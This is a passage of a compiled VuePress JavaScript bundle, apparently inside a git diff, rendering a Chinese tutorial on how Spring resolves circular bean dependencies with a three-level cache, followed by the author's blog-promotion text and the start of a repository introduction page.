"),s("h3",{attrs:{id:"_3-setter方式原型-prototype"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#_3-setter方式原型-prototype"}},[t._v("#")]),t._v(" 3.setter方式原型,prototype")]),t._v(" "),s("p",[t._v("修改配置文件为:")]),t._v(" "),s("div",{staticClass:"language-xml line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-xml"}},[s("code",[s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("<")]),t._v("bean")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token attr-name"}},[t._v("id")]),s("span",{pre:!0,attrs:{class:"token attr-value"}},[s("span",{pre:!0,attrs:{class:"token punctuation attr-equals"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')]),t._v("a"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')])]),t._v(" "),s("span",{pre:!0,attrs:{class:"token attr-name"}},[t._v("class")]),s("span",{pre:!0,attrs:{class:"token attr-value"}},[s("span",{pre:!0,attrs:{class:"token punctuation attr-equals"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')]),t._v("com.liuqing.student.StudentA"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')])]),t._v(" "),s("span",{pre:!0,attrs:{class:"token attr-name"}},[t._v("scope")]),s("span",{pre:!0,attrs:{class:"token attr-value"}},[s("span",{pre:!0,attrs:{class:"token punctuation attr-equals"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')]),t._v("prototype"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')])]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(">")])]),t._v("\n "),s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("<")]),t._v("property")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token attr-name"}},[t._v("name")]),s("span",{pre:!0,attrs:{class:"token attr-value"}},[s("span",{pre:!0,attrs:{class:"token punctuation attr-equals"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')]),t._v("studentB"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')])]),t._v(" "),s("span",{pre:!0,attrs:{class:"token attr-name"}},[t._v("ref")]),s("span",{pre:!0,attrs:{class:"token attr-value"}},[s("span",{pre:!0,attrs:{class:"token punctuation attr-equals"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')]),t._v("b"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')])]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(">")])]),s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("")])]),t._v("\n"),s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("")])]),t._v("\n"),s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("<")]),t._v("bean")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token attr-name"}},[t._v("id")]),s("span",{pre:!0,attrs:{class:"token attr-value"}},[s("span",{pre:!0,attrs:{class:"token punctuation attr-equals"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')]),t._v("b"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')])]),t._v(" "),s("span",{pre:!0,attrs:{class:"token attr-name"}},[t._v("class")]),s("span",{pre:!0,attrs:{class:"token attr-value"}},[s("span",{pre:!0,attrs:{class:"token punctuation attr-equals"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')]),t._v("com.liuqing.student.StudentB"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')])]),t._v(" "),s("span",{pre:!0,attrs:{class:"token attr-name"}},[t._v("scope")]),s("span",{pre:!0,attrs:{class:"token attr-value"}},[s("span",{pre:!0,attrs:{class:"token punctuation attr-equals"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')]),t._v("prototype"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')])]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(">")])]),t._v("\n "),s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("<")]),t._v("property")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token attr-name"}},[t._v("name")]),s("span",{pre:!0,attrs:{class:"token attr-value"}},[s("span",{pre:!0,attrs:{class:"token punctuation attr-equals"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')]),t._v("studentC"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')])]),t._v(" "),s("span",{pre:!0,attrs:{class:"token attr-name"}},[t._v("ref")]),s("span",{pre:!0,attrs:{class:"token attr-value"}},[s("span",{pre:!0,attrs:{class:"token punctuation attr-equals"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')]),t._v("c"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')])]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(">")])]),s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("")])]),t._v("\n"),s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("")])]),t._v("\n"),s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("<")]),t._v("bean")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token attr-name"}},[t._v("id")]),s("span",{pre:!0,attrs:{class:"token attr-value"}},[s("span",{pre:!0,attrs:{class:"token punctuation attr-equals"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')]),t._v("c"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')])]),t._v(" "),s("span",{pre:!0,attrs:{class:"token attr-name"}},[t._v("class")]),s("span",{pre:!0,attrs:{class:"token attr-value"}},[s("span",{pre:!0,attrs:{class:"token punctuation attr-equals"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')]),t._v("com.liuqing.student.StudentC"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')])]),t._v(" "),s("span",{pre:!0,attrs:{class:"token attr-name"}},[t._v("scope")]),s("span",{pre:!0,attrs:{class:"token attr-value"}},[s("span",{pre:!0,attrs:{class:"token punctuation attr-equals"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')]),t._v("prototype"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')])]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(">")])]),t._v("\n "),s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("<")]),t._v("property")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token attr-name"}},[t._v("name")]),s("span",{pre:!0,attrs:{class:"token attr-value"}},[s("span",{pre:!0,attrs:{class:"token punctuation attr-equals"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')]),t._v("studentA"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')])]),t._v(" "),s("span",{pre:!0,attrs:{class:"token attr-name"}},[t._v("ref")]),s("span",{pre:!0,attrs:{class:"token attr-value"}},[s("span",{pre:!0,attrs:{class:"token punctuation attr-equals"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')]),t._v("a"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')])]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(">")])]),s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("")])]),t._v("\n"),s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("")])]),t._v("\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br"),s("span",{staticClass:"line-number"},[t._v("3")]),s("br"),s("span",{staticClass:"line-number"},[t._v("4")]),s("br"),s("span",{staticClass:"line-number"},[t._v("5")]),s("br"),s("span",{staticClass:"line-number"},[t._v("6")]),s("br"),s("span",{staticClass:"line-number"},[t._v("7")]),s("br"),s("span",{staticClass:"line-number"},[t._v("8")]),s("br"),s("span",{staticClass:"line-number"},[t._v("9")]),s("br")])]),s("p",[t._v('scope="prototype" 意思是 每次请求都会创建一个实例对象。两者的区别是:有状态的bean都使用Prototype作用域,无状态的一般都使用singleton单例作用域。')]),t._v(" "),s("p",[t._v("测试用例:")]),t._v(" "),s("div",{staticClass:"language-java line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-java"}},[s("code",[s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("public")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("class")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("Test")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("{")]),t._v("\n "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("public")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("static")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("void")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("main")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("String")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("[")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("]")]),t._v(" args"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("{")]),t._v("\n "),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("ApplicationContext")]),t._v(" context "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("new")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("ClassPathXmlApplicationContext")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token string"}},[t._v('"com/liuqing/student/applicationContext.xml"')]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n "),s("span",{pre:!0,attrs:{class:"token comment"}},[t._v('//此时必须要获取Spring管理的实例,因为现在scope="prototype" 只有请求获取的时候才会实例化对象')]),t._v("\n "),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("System")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),t._v("out"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("println")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),t._v("context"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("getBean")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token string"}},[t._v('"a"')]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("StudentA")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("class")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("}")]),t._v("\n"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("}")]),t._v("\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br"),s("span",{staticClass:"line-number"},[t._v("3")]),s("br"),s("span",{staticClass:"line-number"},[t._v("4")]),s("br"),s("span",{staticClass:"line-number"},[t._v("5")]),s("br"),s("span",{staticClass:"line-number"},[t._v("6")]),s("br"),s("span",{staticClass:"line-number"},[t._v("7")]),s("br")])]),s("p",[t._v("打印结果:")]),t._v(" "),s("div",{staticClass:"language-bash line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-bash"}},[s("code",[t._v("Caused by: org.springframework.beans.factory.BeanCurrentlyInCreationException: \n Error creating bean with name "),s("span",{pre:!0,attrs:{class:"token string"}},[t._v("'a'")]),s("span",{pre:!0,attrs:{class:"token builtin class-name"}},[t._v(":")]),t._v(" Requested bean is currently "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("in")]),t._v(" creation: Is there an unresolvable circular reference?\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br")])]),s("p",[t._v("对于“prototype”作用域Bean,Spring容器无法完成依赖注入,因为“prototype”作用域的Bean,Spring容器不进行缓存,因此无法提前暴露一个创建中的Bean。")]),t._v(" "),s("h2",{attrs:{id:"spring怎么解决循环依赖"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#spring怎么解决循环依赖"}},[t._v("#")]),t._v(" Spring怎么解决循环依赖")]),t._v(" "),s("p",[t._v("Spring的循环依赖的理论依据基于Java的引用传递,当获得对象的引用时,对象的属性是可以延后设置的。(但是构造器必须是在获取引用之前)")]),t._v(" "),s("p",[t._v("Spring的单例对象的初始化主要分为三步:")]),t._v(" "),s("p",[s("img",{staticClass:"lazy",attrs:{alt:"在这里插入图片描述","data-src":"https://img-blog.csdnimg.cn/20200817004932798.jpg#pic_center",loading:"lazy"}})]),t._v(" "),s("p",[t._v("(1)createBeanInstance:实例化,其实也就是调用对象的构造方法实例化对象")]),t._v(" "),s("p",[t._v("(2)populateBean:填充属性,这一步主要是多bean的依赖属性进行填充")]),t._v(" "),s("p",[t._v("(3)initializeBean:调用spring xml中的init 方法。")]),t._v(" "),s("p",[t._v("从上面单例bean的初始化可以知道:循环依赖主要发生在第一、二步,也就是构造器循环依赖和field循环依赖。那么我们要解决循环引用也应该从初始化过程着手,对于单例来说,在Spring容器整个生命周期内,有且只有一个对象,所以很容易想到这个对象应该存在Cache中,Spring为了解决单例的循环依赖问题,使用了三级缓存。")]),t._v(" "),s("p",[t._v("这三级缓存分别指:")]),t._v(" "),s("ul",[s("li",[t._v("singletonFactories : 单例对象工厂的cache")]),t._v(" "),s("li",[t._v("earlySingletonObjects :提前暴光的单例对象的Cache")]),t._v(" "),s("li",[t._v("singletonObjects:单例对象的cache")])]),t._v(" "),s("p",[t._v("在创建bean的时候,首先想到的是从cache中获取这个单例的bean,这个缓存就是singletonObjects。如果获取不到,并且对象正在创建中,就再从二级缓存earlySingletonObjects中获取。如果还是获取不到且允许singletonFactories通过getObject()获取,就从三级缓存singletonFactory.getObject()(三级缓存)获取,如果获取到了则:从singletonFactories中移除,并放入earlySingletonObjects中。其实也就是从三级缓存移动到了二级缓存。")]),t._v(" "),s("p",[t._v("从上面三级缓存的分析,我们可以知道,Spring解决循环依赖的诀窍就在于singletonFactories这个三级cache。这个cache的类型是ObjectFactory。这里就是解决循环依赖的关键,发生在createBeanInstance之后,也就是说单例对象此时已经被创建出来(调用了构造器)。这个对象已经被生产出来了,虽然还不完美(还没有进行初始化的第二步和第三步),但是已经能被人认出来了(根据对象引用能定位到堆中的对象),所以Spring此时将这个对象提前曝光出来让大家认识,让大家使用。")]),t._v(" "),s("p",[t._v("这样做有什么好处呢?让我们来分析一下“A的某个field或者setter依赖了B的实例对象,同时B的某个field或者setter依赖了A的实例对象”这种循环依赖的情况。A首先完成了初始化的第一步,并且将自己提前曝光到singletonFactories中,此时进行初始化的第二步,发现自己依赖对象B,此时就尝试去get(B),发现B还没有被create,所以走create流程,B在初始化第一步的时候发现自己依赖了对象A,于是尝试get(A),尝试一级缓存singletonObjects(肯定没有,因为A还没初始化完全),尝试二级缓存earlySingletonObjects(也没有),尝试三级缓存singletonFactories,由于A通过ObjectFactory将自己提前曝光了,所以B能够通过ObjectFactory.getObject拿到A对象(虽然A还没有初始化完全,但是总比没有好呀),B拿到A对象后顺利完成了初始化阶段1、2、3,完全初始化之后将自己放入到一级缓存singletonObjects中。此时返回A中,A此时能拿到B的对象顺利完成自己的初始化阶段2、3,最终A也完成了初始化,进去了一级缓存singletonObjects中,而且更加幸运的是,由于B拿到了A的对象引用,所以B现在hold住的A对象完成了初始化。")]),t._v(" "),s("p",[t._v("知道了这个原理时候,肯定就知道为啥Spring不能解决“A的构造方法中依赖了B的实例对象,同时B的构造方法中依赖了A的实例对象”这类问题了!因为加入singletonFactories三级缓存的前提是执行了构造器,所以构造器的循环依赖没法解决。")]),t._v(" "),s("h2",{attrs:{id:"总结"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#总结"}},[t._v("#")]),t._v(" 总结")]),t._v(" "),s("p",[t._v("不要使用基于构造函数的依赖注入,可以通过以下方式解决:")]),t._v(" "),s("ul",[s("li",[t._v("在字段上使用@Autowired注解,让Spring决定在合适的时机注入")]),t._v(" "),s("li",[t._v("用基于setter方法的依赖注入。")])]),t._v(" "),s("h2",{attrs:{id:"重磅福利"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#重磅福利"}},[t._v("#")]),t._v(" 重磅福利")]),t._v(" "),s("p",[t._v("关注「 "),s("strong",[t._v("冰河技术")]),t._v(" 」微信公众号,后台回复 “"),s("strong",[t._v("设计模式")]),t._v("” 关键字领取《"),s("strong",[t._v("深入浅出Java 23种设计模式")]),t._v("》PDF文档。回复“"),s("strong",[t._v("Java8")]),t._v("”关键字领取《"),s("strong",[t._v("Java8新特性教程")]),t._v("》PDF文档。回复“"),s("strong",[t._v("限流")]),t._v("”关键字获取《"),s("strong",[t._v("亿级流量下的分布式限流解决方案")]),t._v("》PDF文档,三本PDF均是由冰河原创并整理的超硬核教程,面试必备!!")]),t._v(" "),s("p",[s("font",{attrs:{color:"#FF0000"}},[s("strong",[t._v("好了,今天就聊到这儿吧!别忘了点个赞,给个在看和转发,让更多的人看到,一起学习,一起进步!!")])])],1),t._v(" "),s("h2",{attrs:{id:"写在最后"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#写在最后"}},[t._v("#")]),t._v(" 写在最后")]),t._v(" "),s("blockquote",[s("p",[t._v("如果你觉得冰河写的还不错,请微信搜索并关注「 "),s("strong",[t._v("冰河技术")]),t._v(" 」微信公众号,跟冰河学习高并发、分布式、微服务、大数据、互联网和云原生技术,「 "),s("strong",[t._v("冰河技术")]),t._v(" 」微信公众号更新了大量技术专题,每一篇技术文章干货满满!不少读者已经通过阅读「 "),s("strong",[t._v("冰河技术")]),t._v(" 」微信公众号文章,吊打面试官,成功跳槽到大厂;也有不少读者实现了技术上的飞跃,成为公司的技术骨干!如果你也想像他们一样提升自己的能力,实现技术能力的飞跃,进大厂,升职加薪,那就关注「 "),s("strong",[t._v("冰河技术")]),t._v(" 」微信公众号吧,每天更新超硬核技术干货,让你对如何提升技术能力不再迷茫!")])]),t._v(" "),s("p",[s("img",{staticClass:"lazy",attrs:{alt:"","data-src":"https://img-blog.csdnimg.cn/20200906013715889.png",loading:"lazy"}})])])}),[],!1,null,null,null);s.default=e.exports}}]); \ No newline at end of file diff --git a/assets/js/cg-15.js b/assets/js/cg-15.js index d5892d6ae6bf218f461ecf531a3e392ea30596a1..ca073adb95eb6e0ea03655e05a1ab423687cc26e 100644 --- a/assets/js/cg-15.js +++ b/assets/js/cg-15.js @@ -1 +1 @@ -(window.webpackJsonp=window.webpackJsonp||[]).push([[15],{308:function(e,a,r){"use strict";r.r(a);var n=r(7),d=Object(n.a)({},(function(){var e=this,a=e._self._c;return a("ContentSlotsDistributor",{attrs:{"slot-key":e.$parent.slotKey}},[a("h1",{attrs:{id:"bingheguide-冰河指南"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#bingheguide-冰河指南"}},[e._v("#")]),e._v(" BingheGuide | 冰河指南")]),e._v(" "),a("h2",{attrs:{id:"关于本仓库"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#关于本仓库"}},[e._v("#")]),e._v(" 关于本仓库")]),e._v(" "),a("p",[e._v("📚 本仓库是作者冰河多年从事多年互联网大厂开发、架构的学习历程技术汇总,旨在为大家提供一个清晰详细的学习教程,侧重点更倾向编写Java核心内容、底层原理、架构知识、渗透技术。如果本仓库能为您提供帮助,请给予支持(关注、点赞、分享)!")]),e._v(" "),a("h2",{attrs:{id:"关于我"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#关于我"}},[e._v("#")]),e._v(" 关于我")]),e._v(" "),a("blockquote",[a("p",[e._v("大家好,我是冰河,互联网资深技术专家、MySQL技术专家、分布式与微服务架构专家,"),a("a",{attrs:{href:"https://item.jd.com/13190783.html",target:"_blank",rel:"noopener noreferrer"}},[e._v("《深入理解高并发编程:核心原理与案例实战》"),a("OutboundLink")],1),e._v("、"),a("a",{attrs:{href:"https://item.jd.com/12972343.html",target:"_blank",rel:"noopener noreferrer"}},[e._v("《深入理解分布式事务:原理与实战》"),a("OutboundLink")],1),e._v("、"),a("a",{attrs:{href:"https://item.jd.com/12710993.html",target:"_blank",rel:"noopener noreferrer"}},[e._v("《海量数据处理与大数据技术实战》"),a("OutboundLink")],1),e._v("、"),a("a",{attrs:{href:"https://item.jd.com/13036154.html",target:"_blank",rel:"noopener noreferrer"}},[e._v("《MySQL技术大全:开发、优化与运维实战》"),a("OutboundLink")],1),e._v(" 图书作者,“冰河技术”微信公众号作者,可视化多数据源数据异构中间件mykit-data作者。多年来,一直致力于分布式系统架构、微服务、分布式数据库、分布式事务与大数据技术的研究,在高并发、高可用、高可扩展性、高可维护性和大数据等领域拥有丰富的架构经验。")])]),e._v(" "),a("div",{attrs:{align:"center"}},[a("a",{attrs:{href:"https://github.com/binghe001/BingheGuide"}},[e._v("关注冰河技术,解锁更多技能!")])]),e._v(" "),a("h2",{attrs:{id:"本站知识总览"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#本站知识总览"}},[e._v("#")]),e._v(" 本站知识总览")]),e._v(" "),a("div",{attrs:{align:"center"}},[a("img",{attrs:{src:"https://binghe001.github.io/images/system/guide/site-all-preview.png?raw=true"}}),e._v(" "),a("div",{staticStyle:{"font-size":"18px"}},[e._v("本站知识总览")]),e._v(" "),a("br")]),e._v(" "),a("h2",{attrs:{id:"加群交流"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#加群交流"}},[e._v("#")]),e._v(" 加群交流")]),e._v(" "),a("p",[e._v("本群的宗旨是给大家提供一个良好的技术学习交流平台,所以杜绝一切广告!由于微信群人满 100 之后无法加入,请扫描下方二维码先添加作者 “冰河” 微信(hacker_binghe),备注:"),a("code",[e._v("学习加群")]),e._v("。")]),e._v(" "),a("div",{attrs:{align:"center"}},[a("img",{attrs:{src:"https://binghe001.github.io/images/personal/hacker_binghe.jpg?raw=true",width:"180px"}}),e._v(" "),a("div",{staticStyle:{"font-size":"18px"}},[e._v("冰河微信")]),e._v(" "),a("br")]),e._v(" "),a("h2",{attrs:{id:"公众号"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#公众号"}},[e._v("#")]),e._v(" 公众号")]),e._v(" "),a("p",[e._v("分享各种编程语言、开发技术、分布式与微服务架构、分布式数据库、分布式事务、云原生、大数据与云计算技术和渗透技术。另外,还会分享各种面试题和面试技巧。内容在 "),a("strong",[e._v("冰河技术")]),e._v(" 微信公众号首发,强烈建议大家关注。")]),e._v(" "),a("div",{attrs:{align:"center"}},[a("img",{attrs:{src:"https://img-blog.csdnimg.cn/20210426115714643.jpg?raw=true",width:"180px"}}),e._v(" "),a("div",{staticStyle:{"font-size":"18px"}},[e._v("公众号:冰河技术")]),e._v(" "),a("br")]),e._v(" "),a("h2",{attrs:{id:"星球"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#星球"}},[e._v("#")]),e._v(" 星球")]),e._v(" "),a("p",[e._v("加入星球 "),a("strong",[a("a",{attrs:{href:"http://m6z.cn/6aeFbs",target:"_blank",rel:"noopener noreferrer"}},[e._v("冰河技术"),a("OutboundLink")],1)]),e._v(",可以获得本站点所有学习内容的指导与帮助。如果你遇到不能独立解决的问题,也可以添加冰河的微信:"),a("strong",[e._v("hacker_binghe")]),e._v(", 我们一起沟通交流。另外,在星球中不只能学到实用的硬核技术,还能学习"),a("strong",[e._v("实战项目")]),e._v("!")]),e._v(" "),a("p",[e._v("关注 "),a("a",{attrs:{href:"https://img-blog.csdnimg.cn/20210426115714643.jpg?raw=true",target:"_blank",rel:"noopener noreferrer"}},[e._v("冰河技术"),a("OutboundLink")],1),e._v("公众号,回复 "),a("code",[e._v("星球")]),e._v(" 可以获取入场优惠券。")]),e._v(" "),a("div",{attrs:{align:"center"}},[a("img",{attrs:{src:"https://binghe001.github.io/images/personal/xingqiu.png?raw=true",width:"180px"}}),e._v(" "),a("div",{staticStyle:{"font-size":"18px"}},[e._v("知识星球:冰河技术")]),e._v(" "),a("br")]),e._v(" "),a("h2",{attrs:{id:"开源文档说明"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#开源文档说明"}},[e._v("#")]),e._v(" 开源文档说明")]),e._v(" "),a("p",[a("strong",[e._v("本项目会逐渐开源冰河写的硬核文章(长期更新和维护),如果文章对你有点帮助,小伙伴们动动手指,给个 Star ,冲鸭~~")])]),e._v(" "),a("h3",{attrs:{id:"协议"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#协议"}},[e._v("#")]),e._v(" 协议")]),e._v(" "),a("ul",[a("li",[a("p",[e._v("本作品代码部分采用 "),a("a",{attrs:{href:"https://www.apache.org/licenses/LICENSE-2.0",target:"_blank",rel:"noopener noreferrer"}},[e._v("Apache 2.0协议"),a("OutboundLink")],1),e._v("进行许可。遵循许可的前提下,你可以自由地对代码进行修改,再发布,可以将代码用作商业用途。但要求你:")]),e._v(" "),a("ul",[a("li",[a("strong",[e._v("署名")]),e._v(":在原有代码和衍生代码中,保留原作者署名及代码来源信息。")]),e._v(" "),a("li",[a("strong",[e._v("保留许可证")]),e._v(":在原有代码和衍生代码中,保留Apache 2.0协议文件。")])])]),e._v(" "),a("li",[a("p",[e._v("本作品文档部分采用"),a("a",{attrs:{href:"http://creativecommons.org/licenses/by/4.0/",target:"_blank",rel:"noopener noreferrer"}},[e._v("知识共享署名 4.0 国际许可协议"),a("OutboundLink")],1),e._v("进行许可。 遵循许可的前提下,你可以自由地共享,包括在任何媒介上以任何形式复制、发行本作品,亦可以自由地演绎、修改、转换或以本作品为基础进行二次创作。但要求你:")]),e._v(" "),a("ul",[a("li",[a("strong",[e._v("署名")]),e._v(":应在使用本文档的全部或部分内容时候,注明原作者及来源信息。")]),e._v(" "),a("li",[a("strong",[e._v("非商业性使用")]),e._v(":不得用于商业出版或其他任何带有商业性质的行为。如需商业使用,请联系作者。")]),e._v(" "),a("li",[a("strong",[e._v("相同方式共享的条件")]),e._v(":在本文档基础上演绎、修改的作品,应当继续以知识共享署名 4.0国际许可协议进行许可。")])])])]),e._v(" "),a("h3",{attrs:{id:"注意事项"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#注意事项"}},[e._v("#")]),e._v(" 注意事项")]),e._v(" "),a("p",[a("strong",[e._v("文章转载务必添加冰河微信: hacker_binghe")])]),e._v(" "),a("p",[e._v("转载时请务必在文章开头注明如下信息:"),a("br"),e._v("\n作者:冰河"),a("br"),e._v("\n来源:"),a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247496827&idx=2&sn=f4d21f9bc77caea615b210db94958167&chksm=cf56437af821ca6c16200c93b6e6b3fafe954fd719dbc340d092530470c589a4ed2d64c1a48d&token=1652827332&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("冰河技术公众号"),a("OutboundLink")],1)]),e._v(" "),a("h2",{attrs:{id:"冰河整理pdf"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#冰河整理pdf"}},[e._v("#")]),e._v(" 冰河整理PDF")]),e._v(" 